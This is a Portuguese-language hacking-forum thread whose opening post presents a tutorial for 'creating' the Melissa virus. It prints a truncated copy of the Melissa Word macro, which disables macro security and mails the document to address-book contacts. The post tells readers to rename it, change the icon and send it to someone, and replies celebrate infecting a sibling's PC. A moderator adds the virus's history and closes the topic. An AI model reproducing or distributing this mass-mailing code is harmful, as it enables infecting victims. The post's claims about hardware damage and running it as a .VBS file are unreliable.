Como criar virus Melissa!!

[Mr.Jefrey 3]

E ai o´ eu aki denovo (AVA)

 

Sim, e desta vez com uma tuto de como criar um virus popularmente conhecido como melissa, o q ele faz? Ele deixao pc da pessoa doida abrindo um monte de janela, reiniciando, mandando emails sozinha, deixa ele tao louco q pode queimar algumas peças como fonte, hd e memoria!

(Me desculpe c esse n for o lugar certo para postar mas n sei bem onde c posta virus)

 

1º Abra o bloco de notas e cole isso

Private Sub Document_Open()

On Error Resume Next

If System.PrivateProfileString(“”,

“HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security”, “Level”) <> “”

Then

CommandBars(“Macro”).Controls(“Security…”).Enabled = False

System.PrivateProfileString(“”,

“HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security”, “Level”) = 1&

Else

CommandBars(“Tools”).Controls(“Macro”).Enabled = False

Options.ConfirmConversions = (1 – 1): Options.VirusProtection = (1 – 1):

Options.SaveNormalPrompt = (1 – 1)

End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice

Set UngaDasOutlook = CreateObject(“Outlook.Application”)

Set DasMapiName = UngaDasOutlook.GetNameSpace(“MAPI”)

If System.PrivateProfileString(“”,

“HKEY_CURRENT_USER\Software\Microsoft\Office\”, “Melissa?”) <> “… by Kwyjibo”

Then

If UngaDasOutlook = “Outlook” Then

DasMapiName.Logon “profile”, “password”

For y = 1 To DasMapiName.AddressLists.Count

Set AddyBook = DasMapiName.AddressLists(y)

x = 1

Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)

For oo = 1 To AddyBook.AddressEntries.Count

Peep = AddyBook.AddressEntries(x)

BreakUmOffASlice.Recipients.Add Peep

x = x + 1

If x > 50 Then oo = AddyBook.AddressEntries.Count

Next oo

BreakUmOffASlice.Subject = “Important Message From ” &

Application.UserName

BreakUmOffASlice.Body = “Here is that document you asked for … don’t

show anyone else Wink”

BreakUmOffASlice.Attachments.Add ActiveDocument.FullName

BreakUmOffASlice.Send

Peep = “”

2º Salve o arquivo .VBS

 

3º Pronto seu virus esta criado dai e´ so´ nomear trocar o icone e depois manda para alguem!

 

ATENÇAO: NAO EXECULTE ESSE ARQUIVO, NAO ME RESPONSABILIZO PELOS DANOS CAUSADOS POR ELE A QUALQUER PESSOA!!

 

Ajudei e gostou agradeça e divulgue Vlw!

 

[_-][-GuiiZiiM 0]

Agora fiquei curioso , quero ver oq faz :]

porem n fazerei.

[Mr.Jefrey 3]

Bom msmo vc n fazer!!!!!!!!! Mas fazer alguem fazer!!!!!!!!!!!!!!!!!!!!

[fofdouglas2009 1]

Puts , eu vi o Tópico agora deu uma vontade de fazer esse vírus >.<

Vou deixar pra fazer quando eu for trocar de pc <.<

[Mr.Jefrey 3]

Kkkkkkkkkkkkk, vai fu*** o vlho pow va q da para usar kkkkkkkkkkkkkkkkkkk

[flaviohero 1]

Dica;crie maquina virtual,e execute nela.

Virus fod.. TUTO obrigado por compartilhar.

[Mr.Jefrey 3]

Ajudei entao agradeça!!!!!!!!!!!

[Corey Taylor. 64]

Ótimo Virus , esse virus tem alguma solução para tirar do computador ? ou desativalo ?

[Lf' 6]

Peço para que adicione os créditos :D

[TheElder1087 0]

Nossa funciona msmo mandei pra minha irma e fu**u o pc dela kkkkkkk

[mikhail 99]

Primeiro o vírus:

 

Vírus Melissa

 

Na primavera de 1999, um homem chamado David L. Smith criou um vírus de computador baseado numa macro do Microsoft Word. Ele construiu o vírus para que se espalhasse através de mensagens de e-mail. Smith o batizou de "Melissa," dizendo que escolheu esse nome por causa de uma dançarina exótica da Flórida [fonte: CNN (em inglês)].

 

Ao invés de arrasar a conta de alguém, o vírus Melissa faz com que os destinatários abram um documento com uma mensagem de e-mail como: "aqui está o documento que você pediu, não o mostre para mais ninguém". Uma vez ativado, o vírus faz uma cópia de si mesmo e envia a reprodução para as 50 primeiras pessoas da lista de contato do destinatário.

 

O vírus espalhou-se rapidamente depois que Smith o lançou para o mundo. E o governo federal dos Estados Unidos interessou-se muito pelo seu trabalho. De acordo com declarações feitas pelos oficiais do FBI ao Congresso, o vírus Melissa "prejudicou muito o governo e as redes do setor privado" [fonte: FBI (em inglês)]. O aumento do tráfego de e-mail obrigou algumas empresas a descontinuarem programas de mensagem até que o vírus fosse restringido.

 

Após um longo processo de julgamento, Smith perdeu o caso e recebeu uma sentença de 20 meses de prisão. O tribunal também o multou em US$ 5 mil e o proibiu de acessar redes de computador sem autorização do tribunal [fonte: BBC]. No final das contas, o vírus Melissa não afetou a Internet, mas foi um dos primeiros a atrair a atenção do público.

HowStuffWorks

 

--------------------------------

 

Agora a regra:

 

O presente tópico não se enquadar dentre aqueles que devem ser criados em Windows - Tutorial. Ele em nada tem com o Sistema operacional ou softwares que, de forma legal, sejam executados em seu ambiente. ((Vírus não são formas legalmente aceitas de softwares))

 

Tenha mais atenção e busque o melhor enquadramento para seus futuros tópicos. O correto seria Programação Delphi/VB por tratar-se de um tuto com código VB.

 

Entretanto ainda resta outra falha, você foi solicitado a colocar os créditos em seu tutorial e não o fez.

 

Apenas para constar, dentre as muitas fontes possiveis para este código vamos creditar o MANDRAKE LINUX DTH.

 

----------------------------------

 

Caro Mr.Jefrey,

 

Há várias razões para que sejamos obrigados a colocar os créditos a cada notícia ou informação copiada de sites, outros fóruns, agencias de notícias, livros e jornais, dentre elas:

 

1. O autor, em seu legítimo direito pode EXIGIR, após devidamente comprovar a criação, que RETIREMOS o conteúdo. A isto se dá o nome de DIREITO AUTORAL.
   
2. Existe uma regra neste sentido.
   

 

Você foi solicitado a colocar os créditos e por não ter cumprido com o solicitado devemos aplicar a regra.

 

Tópico Movido para

Programação Delphi/VB

&

FECHADO